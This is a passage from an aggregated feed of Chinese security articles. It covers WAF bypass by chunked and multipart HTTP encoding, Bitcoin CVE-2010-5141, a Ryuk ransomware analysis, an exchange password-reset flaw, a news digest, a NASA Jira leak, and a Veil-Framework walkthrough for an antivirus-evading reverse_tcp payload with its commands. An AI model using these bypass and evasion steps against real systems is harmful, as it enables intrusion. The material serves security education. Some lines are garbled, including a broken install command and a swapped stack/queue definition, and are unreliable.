注意:分块编码传输需要将关键字and,or,select ,union等关键字拆开编码,不然仍然会被waf拦截。编码过程中长度需包括空格的长度。最后用0表示编码结束,并在0后空两行表示数据包结束,不然点击提交按钮后会看到一直处于waiting状态。

三.利用协议未覆盖进行绕过[同样会被某狗拦截]

原理:

HTTP头里的Content-Type一般有application/x-www-form-urlencoded,multipart/form-data,text/plain三种,其中multipart/form-data表示数据被编码为一条消息,页上的每个控件对应消息中的一个部分。所以,当waf没有规则匹配该协议传输的数据时可被绕过。

1.将头部Content-Type改为multipart/form-data; boundary=69   然后设置分割符内的Content-Disposition的name为要传参数的名称。数据部分则放在分割结束符上一行。

在HTTP协议层面绕过WAF图十

由于是正常数据提交,所以从图十可知数据是能被apache容器正确解析的,尝试1 and 1=1也会被某狗waf拦截,但如果其他waf没有规则拦截这种方式提交的数据包,那么同样能绕过。

2.一般绕waf往往需要多种方式结合使用,如图十的示例中,只需将数据部分1 and 1=1用一个小数点”.”当作连接符即1.and 1=1就可以起到绕过作用。当然,这只是用小数点当连接符所起的作用而已。如图十一所示。

在HTTP协议层面绕过WAF图十一

四.分块编码+协议未覆盖组合绕过

1.在协议未覆盖的数据包中加入Transfer-Encoding: chunked ,然后将数据部分全部进行分块编码,如图十二所示(数据部分为1 and 1=1)。

在HTTP协议层面绕过WAF图十二

注意:第2块,第3块,第7块,和第8块。

第2块中需要满足

长度值
空行
Content-Disposition: name="id"
空行

这种形式,且长度值要将两个空行的长度计算在内(空行长度为2)。

第3块,即数据开始部分需满足

长度值 
空行
数据

形式,且需将空行计算在内。

第7块即分割边界结束部分,需满足

长度值
空行
分割结束符
空行

形式,且计算空行长度在内。

第8块需满足

0  
空行
空行

形式。如果不同时满足这四块的形式要求,payload将不会生效。

结语:

以上是在http协议层面绕过waf,因为比较通用,所以理论上可以用于平时渗透时的方方面面,如命令执行,代码注入,sql注入等测试。虽然本文中只有分块编码真正做到了绕过某狗,但其他两种方法在其他waf绕过中可能仍然可用,而且可与其他绕过方法结合使用,甚至像四中一样相互组合使用。

*本文作者:bypassword,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

原文阅读

公链安全之比特币任意盗币漏洞浅析(CVE-2010-5141)
BCSEC实验室 2019-1-17 1:0 转存

本期DVP漏洞专题是比特币漏洞CVE-2010-5141,这个漏洞可以导致攻击者盗取任何人的比特币,危害十分严重。万幸的是该漏洞并没有被利用过,而且修复速度极快。该漏洞与比特币的脚本引擎有关,对公链开发者具有参考意义;从当下市场上的公链来看,大多数都内置了虚拟机或脚本引擎,以此来打造DApp生态,同时也是区块链的大趋势之一。

一、比特币当中的UTXO模型是什么?

Tips:在漏洞代码片段中会涉及一些UTXO的相关知识、概念,所以对该漏洞进行理论分析之前需要先了解一下这些知识点,已经了解的可以直接跳过。

Ⅰ、账户模型与UTXO模型

我们在看UTXO模型之前先说说常见的账户模型,什么是账户模型?账户模型的数据结构简单可以理解为“账号=>余额”,每个账号都对应一个余额。举个例子:若账号A向账号B转账200,在账户模型中完成这个转账操作只需要A-200然后B+200;目前大部分软件都采用的是账户模型,比如银行系统、以太坊等等。

而比特币却使用了自行研发的UTXO模型,UTXO中是没有“账号=>余额”这样的数据结构的,那怎么进行转账?

Ⅱ、比特币如何操作转账

以上面A向B转账为例,在UTXO中完成这个转账需要以下操作:

1. 找到A账号下200余额的来源,也就是意味着要找到A收款200的这笔交易x

2. 以x交易为输入,以向B转账200的交易y为输出,x与y对应且x与y的转账金额必须相等

3. x交易被标记为已花费,y交易被标记为未花费

而且两笔交易的转账金额必须相等,简单解释就是收到多少就只能转出多少,实际上确实是这样。

但是又必须只给别人转一部分的时候怎么办?答案是只向他人转一部分,然后剩下的一部分转给自己另外一个号。

Ⅲ、引用两张来自网络的图文:

公链安全之比特币任意盗币漏洞浅析账户模型

公链安全之比特币任意盗币漏洞浅析UTXO模型

在本文当中比特币为什么采用UTXO模型不是重点,我们了解UTXO的原理即可。

二、比特币的脚本引擎

比特币脚本是非图灵完备的。比特币使用自行定义的一种脚本进行交易和其他的操作,为比特币提供有限的灵活性。实现诸如多重签名、冻结资金等简单功能,但更多的就不行了。

比特币这么做的原因是牺牲一定的完备性来保障安全性。比特币脚本的原理是先定义了一堆操作码,然后脚本引擎基于堆栈来逐个执行每个操作码。

堆栈很好理解,队列是先进后出,而堆栈正好相反,是先进先出,将一个元素压入(push)堆栈后该元素会被最先弹出(pop)。

在比特币早期的版本中发送一笔标准转账(pay-to-pubkey)交易需要脚本签名(scriptSig)和公钥验证脚本(scriptPubKey),具体处理流程如下:

公链安全之比特币任意盗币漏洞浅析先填入要执行的脚本(Script),然后签名(sig)和公钥(pubKey)被压入堆栈,然后操作码OP_CHECKSIG会去验证签名等,若验证通过就将true压入堆栈,否则就将false压入堆栈。

三、CVE-2010-5141漏洞分析

了解以上知识后就可以开始分析CVE-2010-5141漏洞了。笔者下载了存在漏洞的版本0.3.3,下载地址在github的bitcoin仓库中找release.

script.cpp代码片段VerifySignature函数:

公链安全之比特币任意盗币漏洞浅析执行每个交易都会调用VerifySignature函数,该函数用于执行脚本以及验证签名,然后给交易标注是否被花费。

首先txFrom参数是上一笔交易,txTo是正在处理的这笔交易,如果理解了上面的章节中讲解过的UTXO模型,这里就不难理解了。重点看1125行代码,调用了EvalScript函数,第一个参数是txin.scriptSig(包含签名信息)+分隔操作码OP_CODESEPARATOR+ txout.scriptPunKey(包含公钥信息、OP_CHECKSIG指令),这些就是EvalScript函数要执行的脚本,后面的参数可以暂时不用管,只要EvalScript函数返回true那么这笔验证签名就通过了。EvalScript函数如何才能返回true?

公链安全之比特币任意盗币漏洞浅析首先堆栈不能是空的,然后栈顶强转bool后必须是true。笔者简单解读为必须要有栈顶而且值不能是0。

然后再看关键的OP_CHECKSIG操作码

(注:由于操作码太多,本文针对OP_CHECKSIG操作码)

公链安全之比特币任意盗币漏洞浅析

按照OP_CHECKSIG的正常逻辑,验证签名不成功的话一定会有一个vchFalse留在栈顶,虽然堆栈不为空,但是栈顶的值是0,还是会返回false。

回到之前的代码,EvalScript函数执行的脚本主要由以下变量组成:

1. txin.scriptSig

2. OP_CODESEPARATOR

3. txout.scriptPubKey

第一个签名信息可控,第二个不用管只是一个分割符,会被删掉,第三个不可控,因为是来自上一个交易

第一个变量可控,而且是作为脚本执行,所以这个变量可以不仅仅是签名信息,还能是opcode,这就好办了,下面需要引用一个神奇的操作码 OP_PUSHDATA4,我们看看比特币0.3.3是怎么处理这个操作码的:

公链安全之比特币任意盗币漏洞浅析首先获取操作码。如果操作码的值小于或者等于OP_PUSHDATA4的值就把vchPushValue全压入堆栈,再跟进GetOp函数

公链安全之比特币任意盗币漏洞浅析经翻阅源码,发现OP_PUSHDATA4指令被定义为78,所以当函数遇到OP_PUSHDATA4时,指针会向又移78+4=82位,其中78位数据会被压入栈,所以只要在txin.scriptSig中注入一个OP_PUSHDATA4操作码,后面的公钥信息以及OP_CHECKSIG指令都会被”吃掉”并作为参数入栈,当指针走到最后时,进行最后的判断:

1. 堆栈是否为空?不是

2. 栈顶元素是否为0?不是

于是满足条件EvalScript函数返回true,然后VerifySignature函数也返回true,既然签名验证都绕过了,那别人的比特币便可以任意花费了。 

四、CVE-2010-5141漏洞修复方案

笔者下载了比特币版本0.3.8,直接看关键部分代码

公链安全之比特币任意盗币漏洞浅析修复方案也很明确,把scriptSig和scriptPubkey分开执行,无论你scriptSig里面有什么也不会影响到后面的scriptPubkey执行。

写在最后

因为该比特币漏洞来自2010年,素材可以说是相当古老,目前漏洞分析主要存在以下难点:

1. 漏洞相关资料非常少,大多数漏洞都只有一个CVE编号和简介,不查阅大量资料无从入手。

2. 环境搭建难,难在编译、私链搭建(早期的比特币甚至没有私链这个概念)等,比特币早期的源码编译需要的依赖现在很多都已经不维护并下线了。

基于这些原因,所以笔者仅做了理论研究,并未进行实践验证,如有错误之处还请指正。

五、参考链接

https://bitcoin.stackexchange.com/questions/37403/which-release-fixed-cve-2010-5141-attacker-can-spend-any-coin

https://en.bitcoin.it/wiki/Script

*本文作者:BCSEC实验室,转载请注明来自 FreeBuf.COM

原文阅读

一款注入型勒索病毒Ryuk,拉开2019年勒索病毒攻击的序幕
千里目安全实验室 2019-1-17 0:30 转存

一、样本简介

Ryuk勒索病毒最新于2018年8月由国外某安全公司进行报道,短短两周内净赚超过64万美元的比特币,同时跟踪发现它与HERMES勒索病毒相关联,此外也有消息称HERMES勒索病毒与朝鲜黑客组织Lazarus有关联。Ryuk勒索病毒主要通过垃圾邮件以及漏洞利用工具包进行传播,专门用于自定义攻击,Ryuk的感染和传播过程都是由攻击者手动执行的,被加密的文件以.RYK后缀结尾。

2019年1月份,美国一家印刷厂遭遇了网络攻击,导致美各大报纸发行受阻,根据内部消息,该印刷厂很可能被感染了Ryuk的勒索病毒,同时一家拥有30000家用户的云托管服务提供商在圣诞节前也遭遇了Ryuk勒索病毒的攻击。深信服安全团队密切关注此勒索病毒的最新进展,同时于第一时间拿到了相关样本,并对样本进行了详细分析,此勒索病毒打响了黑产团队2019年利用勒索病毒攻击的序幕。

二、详细分析

1.判断操作系统版本,设置自启动项,如下所示:

注入型勒索病毒Ryuk

设置后的相应的自启动项,如下所示:

注入型勒索病毒Ryuk

2.进程提权操作,如下所示:

注入型勒索病毒Ryuk

提升进程为SeDebugPrivilege权限,如下所示:

注入型勒索病毒Ryuk

3.遍历进程,获取进程的登录用户信息,设置令牌访问信息,如下所示:

注入型勒索病毒Ryuk

4.遍历进程,如果进程不是csrss.exe、explorer.exe、lsass.exe这三个进程,则注入相应的勒索病毒入代码到进程中,如下所示:

注入型勒索病毒Ryuk

注入进程,如下所示:

注入型勒索病毒Ryuk

然后调用CreateRemoteThread执行相应的代码,如下所示:

注入型勒索病毒Ryuk

5.获取相应的函数地址,如下所示:

注入型勒索病毒Ryuk

6.获取系统版本信息,如下所示:

注入型勒索病毒Ryuk

7.根据系统版本,在不同的路径下写入相应的文件,如下所示:

注入型勒索病毒Ryuk

相应的路径为:

C:\Documents and Settings\DefaultUser\sys

C:\users\Public\sys

8.生成相应的密钥,如下所示:

注入型勒索病毒Ryuk

使用RSA公钥加密生成的密钥,如下所示:

注入型勒索病毒Ryuk

相应的反汇编代码,如下所示:

注入型勒索病毒Ryuk

9.在内存中解密出相应的勒索信息,如下所示:

注入型勒索病毒Ryuk

解密之后的信息,如下所示:

注入型勒索病毒Ryuk

10.遍历磁盘,加密文件,如下所示:

注入型勒索病毒Ryuk

遍历磁盘目录文件,如下所示:

注入型勒索病毒Ryuk

排除Windows、Mozilia、Recycle.Bin、Chrome、AhnLab等目录,如下所示:

注入型勒索病毒Ryuk

11.在加密的磁盘文件目录,生成RyukReadMe.txt勒索信息文本文件,如下所示:

注入型勒索病毒Ryuk

生成的勒索信息文本文件内容,如下所示:

注入型勒索病毒Ryuk

BTC钱包地址:1ChnbV4Rt7nsb5acw5YfYyvBFDj1RXcVQu

12.遍历文件,排除dll、lnk、hrmlog、ini、exe后缀的文件,如下所示:

注入型勒索病毒Ryuk

同时排除如下文件名,如下所示:

注入型勒索病毒Ryuk

13.加密文件,用加密后的文件替换原文件,如下所示:

注入型勒索病毒Ryuk

加密后的文件名为[原文件名]+RYK结尾的后缀,如下所示:

注入型勒索病毒Ryuk

加密文件的过程,如下所示:

注入型勒索病毒Ryuk

14.同时此勒索病毒,会枚举网络资源,然后再加密网络资源目录下的文件,如下所示:

注入型勒索病毒Ryuk

三、解决方案

深信服EDR安全团队再次提醒广大用户,勒索病毒以防为主,目前大部分勒索病毒加密后的文件都无法解密,注意日常防范措施:

1.不要点击来源不明的邮件附件,不从不明网站下载软件

2.及时给主机打补丁(永恒之蓝漏洞补丁),修复相应的高危漏洞

3.对重要的数据文件定期进行非本地备份

4.尽量关闭不必要的文件共享权限以及关闭不必要的端口,如:445,135,139,3389等

5.RDP远程服务器等连接尽量使用强密码,不要使用弱密码

6.安装专业的终端安全防护软件,为主机提供端点防护和病毒检测清理功能

 *本文作者:千里目安全实验室,转载请注明来自 FreeBuf.COM

原文阅读

威胁预警 | 约400家交易所存在高危漏洞
BUGX 2019-1-17 0:0 转存

257b6dc6-87cc-4670-97c2-8d31bba708f4.jpg

简介

近日区块链安全生态BUGX收取到来自平台白帽(Xenc@米斯特安全)提交的安全漏洞,随后平台进行分析与监控,该漏洞为交易所通用高危漏洞。此漏洞的成因是因为验证码没有和用户进行绑定,导致可以使用A用户的验证码来重置B用户的密码。

漏洞影响范围

图片1.png

漏洞详情

首先,该类网站存在任意注册漏洞。攻击者使用自己的手机号进行注册,接收到验证码后,接着使用Burpsuite拦截注册的包,然后修改其中的手机号码,便可注册成功,如下图所示:

图片2.png

需要注意,必须使用接收到的验证码,无效的验证码不能完成注册。紧接着就是任意重置用户密码。

现在我需要重置上面注册的18888888889,首先我是用该手机号进行“找回密码”操作,然后使用自己的账号进行“找回密码”操作,因为发送验证码后文本框不可以修改,所以就刷新再来,然后验证码填写自己接收到的,就可以重设18888888889账户的密码了,如下图所示:

图片3.png

漏洞影响

该漏洞因为没有将注册用户和验证码进行绑定,从而验证码被绕过,导致账号可以任意注册,对于任意重置密码,只有后来的验证码可以重置前面的所以我收到验证码,可以用来重置18888888889账户的密码,然而18888888889收到的验证码却不可以修改我的密码。

存在安全漏洞厂商

存在此类问题的交易所约400家,请自查。如需协助:

该漏洞导致用户的账户毫无隐私可言,账户密码形同虚设,当网站存在账号泄露的话,那么全部用户将沦陷。因漏洞影响范围太大,暂时不披露漏洞细节及存在漏洞的交易所,现BUGX开通查询及协助渠道:

1. 个人用户,需查询自己正在使用的交易所是否存在此类漏洞,请添加BUGX社群小助手微信号(Vitamin_101),回复交易所名称,并加入区块链安全情报社群查询。

2. 企业用户,如需测试网站/App是否存在安全漏洞,请联系info@bugx.io

原文阅读

BUF早餐铺 | WordPress对运行过期PHP版本的网站发出警告;Secure Copy Protocol曝出有36年历史的漏洞;美国SEC数据库遭入侵
AngelaY 2019-1-16 23:0 转存

各位Buffer早上好,今天是2019年1月17日星期四。今天的早餐铺内容有:WordPress 对运行过期 PHP 版本的网站发出警告;Secure Copy Protocol 曝出有 36 年历史的漏洞;美SEC数据库遭入侵 犯罪分子非法牟利410万美元;纽约隐私法案强制企业披露消费者数据使用情况;建筑工地上的大型机械设备容易被黑客控制;vCard处理进程存在漏洞,微软表示4月份将修复。

sunbasket%20bibimbap.jpg以下请看详细内容:

WordPress 对运行过期 PHP 版本的网站发出警告

开源内容管理系统 WordPress 发布新安全举措,如果网站仍然运行旧的 PHP 版本,将在管理面板显示警告。WordPress 在初期阶段对版本号低于 5.6.x(5.6 或更低)的版本显示警告,警告会包含一条 WordPress 支持页的链接,提醒网站管理员如何更新 PHP 版本。WordPress 是最流行的内容管理系统,大约四分之一的网站运行的是 WordPress。而 66.7% 的网站仍然运行已经终止支持的 PHP 版本。[来源:zdnet]

Secure Copy Protocol 曝出有 36 年历史的漏洞

安全研究人员公布了 Secure Copy Protocol(SCP)的五个漏洞,其根源可追溯到 1983 年,至今有 35 年历史。漏洞影响 OpenSSH scp、PuTTY PSCP 和 WinSCP,其中 WinSCP 已经修复。漏洞允许恶意 SCP 服务器悄悄的纂改客户端机器上的任意文件。安全研究人员解释说,SCP 基于的 RCP 允许服务器控制发送的文件,如果没有仔细核查客户端最终下载的文件可能与用户想要的文件不同,攻击者可以覆写用户的 .bash_aliases 文件,在用户执行例行操作如罗列目录时攻击者可以执行任意命令。[来源: solidot]

美SEC数据库遭入侵 犯罪分子非法牟利410万美元

在当地时间星期二举行的新闻发布会上,新泽西州检察官克莱格·卡蓬尼托(Craig Carpenito)、SEC、美国联邦调查局和美国特勤局联合公布了一起国际股票交易犯罪活动,犯罪分子入侵了美国证券交易委员会(以下简称“SEC”)的EDGAR企业文件系统,并利用内幕信息非法牟利410万美元。据路透社称,犯罪团伙利用获得的非公开信息进行股票交易,从美国、俄罗斯和乌克兰非法牟利410万美元。犯罪分子获得了157份企业财报,其中部分财报是“测试文档”。[来源:cnbeta]

纽约隐私法案强制企业披露消费者数据使用情况

纽约近日修订了通用商务法律,增加了一个名为“2019知情权法案”(S00224)的议案,规定消费者有权知晓个人信息被企业搜集的情况以及披露给第三方的使用情况。此外,这项新规定还强调企业之间共享消费者信息的过程要透明化。法令规定,隐私权是基本人权,受到美国宪法保护,各企业应当遵守法律。此外,法令也详细列举了企业在何种情况下应当披露消费者数据使用以及披露的具体条目。这堪称数据保护立法领域的一项新进展。[来源:bleepingcomputer]

建筑工地上的大型机械设备容易被黑客控制

趋势科技(Trend Micro)的两名研究人员近日演示了如何成功入侵并控制建筑工地上的起重机进行各种任务。实验表示,当施工现场唯一能控制起重机的发射器关闭后,起重机处于“停止”状态。但是安全专家通过笔记本电脑、一些无线电硬件、特制的攻击脚本就能成功控制起重机,不仅开动起来而且还能进行起重作业。如果黑客利用这种方式完全可以肆意破坏建筑工地。这主要是因为这些机械设备使用的RF通信协议存在漏洞。Saga、Juuko、Telecrane、Hetronic等多款设备都受到影响。[来源:securityaffairs]

vCard处理进程存在漏洞,微软表示4月份将修复

安全研究员@ hyp3rlinx披露了vCard文件处理过程中的0-day漏洞并发布PoC代码。攻击者可利用这个漏洞,制作显示为无害链接的恶意VCF,当用户点击该链接时,可以触发恶意代码执行。不过这个漏洞的利用条件是需要用户交互。该研究员已经通过趋势科技的Zero Day Initiative(ZDI)漏洞披露计划向微软报告。微软表示将在4月份修复。[来源:securityaffairs]

原文阅读

Jira错误配置问题导致NASA内部敏感信息泄露
clouds 2019-1-16 7:0 转存

Jira错误配置问题导致NASA内部敏感信息泄露大家好,今天在这分享两个关于NASA网站JIRA应用的漏洞,漏洞在于JIRA的错误配置,最终导致了NASA大量内部敏感信息泄露,这些信息包括了NASA内网的账户详情、项目情况、员工姓名、员工邮件和ID等等,非常严重。

Jira的错误配置问题

JIRA 是一个缺陷跟踪管理系统,为针对缺陷管理、任务追踪和项目管理的商业性应用软件,开发者公司为澳大利亚的Atlassian。

对于公司和企业来说,内部信息的保密至关重要,如何保证这些信息只对特定组织内外的人开放,极为关键。换句话说,通过这些数据的安全性、完整性和可用性,公司可以在发展计划、调查结果、人才就业等方面保持竞争优势。

Jira应用中有一些设置,如果配置不当,可能会泄露有关应用程序和用户的相关信息,并且可以向任何互联网用户,开放对公司内部数据的未授权访问权限。攻击者利用这种手段,可以获得对Jira应用的一定访问控制权限,形成进一步内网渗透的基础。

在Jira中,在创建过滤器(filters)或显示面板( dashboards)时,它提供了一些可见选项来进行设置。问题是,由于分配给这些选项的权限存在错误的误解,当过滤器或显示面板分别设置为“所有用户”(All users)和“所有人”(Everyone)时,这代表的并不是与组织机构内部的每个人共享,而是一种互联网全网的公开共享。Jira中还有一个用户挑选功能(user picker functionality),它提供了针对每个用户的用户名和电子邮件地址的完整列表信息。所以,这两种功能组合的结果,就会形成错误的授权配置,从而导致组织机构内部的用户信息泄露。会泄露的信息包括以下:

所有注册员工账户的姓名和邮箱地址;

注册员工在Jira应用中的角色名称;

Jira的当前项目,以及通过过滤器(filters)或显示面板创建的里程碑设置信息。

Jira错误配置导致NASA 员工信息泄露

基于以上技术理解,我发现,在应用了Jira的NASA某官网中,存在Jira错误配置漏洞,利用该漏洞,通过用户挑选功能,榀以获取到所有NASA员工姓名和邮箱地址列表信息。如下:

Jira错误配置问题导致NASA内部敏感信息泄露从上图可以看到,由于前述的Jira错误配置,导致1000多人的NASA员工信息存在泄露风险。

通过对过滤器(Filters)的管理获取相关信息

这个漏洞不像上面那个严重,但它也类似于上述的可浏览用户信息的泄露问题,根本原因在于,NASA网站的Jira应用中也存在一个与过滤器设置相关的错误配置漏洞。Jira过滤器用于列出应用中分类的问题和项目的相关任务,它还可列出“拥有”这些过滤器权限的用户名,这不同可浏览用户信息问题,但却能收集一些用户名格式相关的有用信息。此外,攻击者可借此知道应用中包含的详细信息,以及项目团队的处理任务,以及一些项目任务的特性。如下:

Jira错误配置问题导致NASA内部敏感信息泄露Jira错误配置问题导致NASA内部敏感信息泄露Jira错误配置问题导致NASA内部敏感信息泄露Jira错误配置问题导致NASA内部敏感信息泄露以上就是我通过利用Jira的错误配置漏洞问题(问题),访问获取到NASA内部的大量敏感信息。

漏洞上报进程

2018.9.3      向NASA和美国CERT安全团队上报漏洞

2018.9.25    漏洞已修复

2018.10.17   获得美国CERT方面的感谢

2018.11.9     告知NASA和美国CERT方面对该漏洞的披露。

*参考来源:medium,clouds编译,转载请注明来自FreeBuf.COM

原文阅读

Kali Linux中的VEIL Framework绕过防病毒软件实验
Alpha_h4ck 2019-1-16 5:0 转存

使用Kali Linux中的VEIL-Framework绕过防病毒软件

在进行渗透测试的过程中,绕过反病毒产品一直是一个“令人头疼”的事情。今天,我们将跟大家如何绕过目前市面上大部分的免费反病毒产品。

由于很多新手用户喜欢使用AVAST或AVG这样的轻量级的不占用太多系统资源的反病毒产品,因此我们的实验环境使用免费的AVAST反病毒软件,运行系统为Windows 10。

测试工具

1、 Kali

2、 Veil框架

3、 Windows 10

4、 AVAST

Veil框架是一款很老的杀软绕过工具了,它可以生成几乎不可检测的Payload,而且Veil还可以通过命令行终端安装和运行:

apt-get-y install git clone https://github.com/Veil-Framework/Veil-Evasion.git
cd Veil-Evasion/
cd setup
setup.sh-c

详细信息请参考该项目的GitHub主页:【传送门

第一步

在Kali主机上打开命令行窗口,并切换到Veil框架目录中,然后输入:

#python veil-evasion.py

使用Kali Linux中的VEIL-Framework绕过防病毒软件

第二步

使用list命令列出所有可用的命令,检查Veil框架提供的可用Payload:

使用Kali Linux中的VEIL-Framework绕过防病毒软件

第三步

选择编号37的Payload-“python/shellcode_inject/arc_encrypt”。这个Shellcode使用了arc4加密算法进行加密,并使用内存中的一个密钥文件进行解密。

我们可以使用info命令来查看相关信息,然后使用SET命令来使用phyrion解密器:

SET USE_PHYRION Y

使用Kali Linux中的VEIL-Framework绕过防病毒软件

第四步

输入命令生成Payload,默认选择使用msfvenmon。这里我使用的是默认的reverse_tcphandler,并填写了Kali Linux主机的LHOST和LPORT。

使用Kali Linux中的VEIL-Framework绕过防病毒软件

第五步

Payload成功生成之后,工具会显示Payload的生成地址以及msf的Handler文件地址。接下来,输入下列命令:

#msfconsole -r /usr/share/veil-output/handlers/payload_handler.rc

使用Kali Linux中的VEIL-Framework绕过防病毒软件

第六步

使用Kali Linux中的VEIL-Framework绕过防病毒软件使用Kali Linux中的VEIL-Framework绕过防病毒软件

接下来,把我们生成的Payload拷贝到Windows主机中,然后执行Payload,我们这里测试的是最新版本的Avast。

演示视频

大家可以从视频中看到,Payload在执行之后Avast不会弹出任何的警告提示。

视频地址:https://youtu.be/J8CtWWeBuXA

* 参考来源:gbhackers,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

原文阅读

本站作者

每日荐书

在不完美的世界力求正常——读《公司的坏话》

书名:《公司的坏话》

作者:李天田(脱不花妹妹)

出版社:北京大学出版社

赞助商

广告